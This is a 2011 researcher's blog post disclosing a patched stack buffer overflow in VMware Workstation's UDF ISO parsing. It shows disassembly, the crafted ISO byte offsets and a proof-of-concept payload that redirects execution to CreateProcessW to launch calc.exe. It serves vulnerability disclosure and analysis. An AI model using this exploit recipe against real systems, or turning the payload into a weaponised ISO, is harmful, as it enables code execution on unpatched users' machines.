VMware UDF Stack Buffer Overflow
October 10th, 2011 by secventuregroup, Filed under: Commentary
On October 5th, 2011 VMware released Security Advisory VMSA-2011-0011 titled “VMware hosted products address remote code execution vulnerability“. . Unfortunately, VMware forgot to give credit to me. So I have decided to post technical details of this vulnerability. I believe that since all the required patches have already been released this information will not affect any legitimate users of VMware products.
A bit of History
My friend Yevgeniy noticed that VMware Workstation 7.0.0 crashed during OS detection when he tried to install Win 7 from ISO file. Its updating to version 7.1.1 “solved” this problem. But the further investigation (of versions 7.1.1 and 7.1.3) showed significant problems with the parsing of ISO file with UDF.
Summary
The easy install features enable user to perform the unattended installation of the guest operating system after the completion of the New Virtual Machine wizard. If user specifies an installer disc (DVD or CD) or ISO image file the wizard will try to detect an operating system. The vulnerability occurs when VMware product parses UDF file system of ISO file with “LogicalBlockSize” > 2048 while detecting OS.
The exploitation allows attackers to execute arbitrary code on the affected host under the context of the user who started VMware product and tried to install new virtual OS from the malicious ISO file.
Technical details
OS : Win (32bit)
Application : VMware Workstation 7.1.3 Build:324285
File : vmwarebase.dll
Version : 7.1.3.14951
Imagebase : 0×11101000
Function UDF_Open (sub_112E00D0) is vulnerable. According to http://www.osta.org/specs/pdf/udf260.pdf: The logical sector size and the logical block size of DVD shall be 2048 bytes. The developer allocates the 0×800 (2048) sized buffer in the stack for the actual sector:
.text:112E00E6 push 7FFh ; size_t
.text:112E00EB mov edi, eax
.text:112E00ED lea eax, [ebp+var_81F] #allocating 0×800 in the stack
.text:112E00F3 push 0 ; int
.text:112E00F5 push eax ; void *
.text:112E00F6 mov [ebp+Buffer], 0
.text:112E00FD call memset #setting bytes of the buffer to 0×00
The application DOES NOT verify value of “Uint32 LogicalBlockSize” (udf260.pdf 2.2.4.2) from the structure “Logical Volume Descriptor”(udf260.pdf 2.2.4):
.text:112E0267 movzx eax, [ebp+var_749] # the highest byte of Uint32 LogicalBlockSize (for example 00 0a 00 “00″)
.text:112E026E movzx ecx, [ebp+var_74A] # the 3rd byte of Uint32 LogicalBlockSize (for example 00 0a “00″ 00)
.text:112E0275 movzx edx, [ebp+var_74B] # the 2nd byte of Uint32 LogicalBlockSize (for example 00 “0a” 00 00)
.text:112E027C shl eax, 8
.text:112E027F or eax, ecx
.text:112E0281 movzx ecx, [ebp+var_74C] # the lowest byte of Uint32 LogicalBlockSize (for example “00″ 0a 00 00 )
.text:112E0288 shl eax, 8
.text:112E028B or eax, edx
.text:112E028D shl eax, 8
.text:112E0290 or eax, ecx
.text:112E0292 mov [edi], eax # saving LogicalBlockSize = 0xA00 instead 0×800
VMWare reads LogicalBlockSize bytes from ISO file to the allocated buffer:
.text:112E0423 mov eax, [edi] # 0xA00
.text:112E0425 push 0 ; int
.text:112E0427 push eax ; nNumberOfBytesToRead
.text:112E0428 lea ecx, [ebp+Buffer] #allocated stack buffer (size 0×800)
.text:112E042E push ecx ; lpBuffer
.text:112E042F lea eax, [edi+38h]
.text:112E0432 push eax ; int
.text:112E0433 call Ordinal76 #it reads 0xa00 bytes from the file and writes to the buffer… OVERFLOW!!! STACK UNDER CONTROL
Since the attacker controls the content of the stack he can control of the flow of execution:
.text:112E0516 pop edi
.text:112E0517 pop esi
.text:112E0518 xor eax, eax
.text:112E051A pop ebx
.text:112E051B mov esp, ebp
.text:112E051D pop ebp
.text:112E051E retn # Return to the desired address
The Linux versions of the VMware products have the same behavior.
The vulnerable code can be reached through opening of crafted ISO file for installation new OS:
1) File->New->Virtual Machine.
2) “New Virtual Machine Wizard” will be opened.
3) Then
1st page – choose “Typical”, 2nd page – choose “Installer disc image file(ISO)”
or
1st page – choose “Custom”, 2nd page isn’t important, 3rd page – choose “Installer disc image file(ISO)”
4) Then the user should choose crafted ISO.
Proof of Concept
To create the specially-crafted file, we modified the correct ISO file because it was necessary for passing several verifications. For example:
(*All offsets are hexadecimal.)
To pass the next verification:
.text:112E0175 lea edx, [ebx+3]
.text:112E0178 lea esi, [ebp+Buffer]
.text:112E017E call sub_112DFA50
ISO file must have bytes:
Offset 0 1 2 3 4 5 6 7 8 9 A B C D E F
00080000 “02 00″ 02 00 “74″ 00 00 00 18 66 F0 01 00 01 00 00
“02 00″ – TagIdentifier
“74″ – TagChecksum
The parser reads and verifies next bytes too:
Offset 0 1 2 3 4 5 6 7 8 9 A B C D E F
00080010 00 80 00 00 01 01 00 00 00 80 00 00 13 01 00 00
To read the inappropriate LogicalBlockSize we need to pass the next verification:
.text:112E0251 lea edx, [eax+6]
.text:112E0254 lea esi, [ebp+Buffer]
.text:112E025A call sub_112DFA50
Offset 0 1 2 3 4 5 6 7 8 9 A B C D E F
00081000 “06 00″ 02 00 “B4″ 00 00 00 33 C7 AE 01 02 01 00 00
“06 00″ – TagIdentifier
“B4″ – TagChecksum
Reading of LogicalBlockSize:
.text:112E0267 movzx eax, [ebp+var_749]
.text:112E026E movzx ecx, [ebp+var_74A]
.text:112E0275 movzx edx, [ebp+var_74B]
.text:112E027C shl eax, 8
.text:112E027F or eax, ecx
.text:112E0281 movzx ecx, [ebp+var_74C]
Offset 0 1 2 3 4 5 6 7 8 9 A B C D E F
000810D0 00 00 00 23 “00 0A 00 00″ 00 2A 4F 53 54 41 20 55
Then VMware overflows the buffer (size 0×800) by reading LogicalBlockSize bytes from the first logical block. In our case it starts from:
Offset 0 1 2 3 4 5 6 7 8 9 A B C D E F
00098000 00 01 02 00 E6 00 00 00 83 6F F0 01 00 00 00 00
In order not to overwrite the stack by the contents of next blocks, we changed the type 0×100 to 0×101.
Offset 0 1 2 3 4 5 6 7 8 9 A B C D E F
00098000 “01″ 01 02 00 E6 00 00 00 83 6F F0 01 00 00 00 00
And the next verification will be failed:
.text:112E0443 mov edx, 100h
.text:112E0448 lea esi, [ebp+Buffer]
.text:112E044E call sub_112DFA50
And the execution goes to:
.text:112E051D pop ebp
.text:112E051E retn
PAYLOADS:
Windows (32 and 64 bit) [WindowsISO]
Offset 0 1 2 3 4 5 6 7 8 9 A B C D E F
00098820 50 00 00 00 D8 5A 11 11 00 00 00 00 00 00 00 00
00098830 00 00 00 00 01 00 00 00 00 00 00 00 00 00 00 00
00098840 00 00 00 00 30 C1 46 11 88 DD 45 11 88 DD 45 11
00098850 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 …………….
00098860 00 00 00 00 00 00 00 00 43 00 3A 00 5C 00 5C 00 ……..C.:.\.\.
00098870 57 00 69 00 6E 00 64 00 6F 00 77 00 73 00 5C 00 W.i.n.d.o.w.s.\.
00098880 5C 00 73 00 79 00 73 00 74 00 65 00 6D 00 33 00 \.s.y.s.t.e.m.3.
00098890 32 00 5C 00 5C 00 63 00 61 00 6C 00 63 00 2E 00 2.\.\.c.a.l.c…
000988A0 65 00 78 00 65 00 00 00 00 00 00 00 00 00 00 00 e.x.e………..
D8 5A 11 11 = 0x11115ad8 - “desired” address:
.text:11115AD8 push edi ; lpApplicationName
.text:11115AD9 call ds:CreateProcessW
edi points to the string “C.:.\.\.W.i.n.d.o.w.s.\.\.s.y.s.t.e.m.3.2.\.\.c.a.l.c…e.x.e” in the stack.
30 C1 46 11 = 0x1146C130 – it points to array ‘\x00\x00\x00…’ (it is used as pStartupInfo)
88 DD 45 11 = 0x1145DD88 – it points to array ‘\x44\x00\x00…’ (it is used as pProcessInfo)
So function CreateProcessW will be called with the following parameters:
04E1FCB4 04E1FCF8 шьб |ModuleFileName = “C:\\Windows\\system32\\calc.exe”
04E1FCB8 00000000 …. |CommandLine = NULL
04E1FCBC 00000000 …. |pProcessSecurity = NULL
04E1FCC0 00000000 …. |pThreadSecurity = NULL
04E1FCC4 00000001 … |InheritHandles = TRUE
04E1FCC8 00000000 …. |CreationFlags = 0
04E1FCCC 00000000 …. |pEnvironment = NULL
04E1FCD0 00000000 …. |CurrentDir = NULL
04E1FCD4 1146C130 0БF |pStartupInfo = vmwareba.1146C130
04E1FCD8 1145DD88 €ЭE |pProcessInfo = vmwareba.1145DD88
Credit
Huge thanks to Yevgeniy Grushka, who helped me with researching and verifying for this vulnerability.
References
http://www.vmware.com/security/advisories/VMSA-2011-0011.html



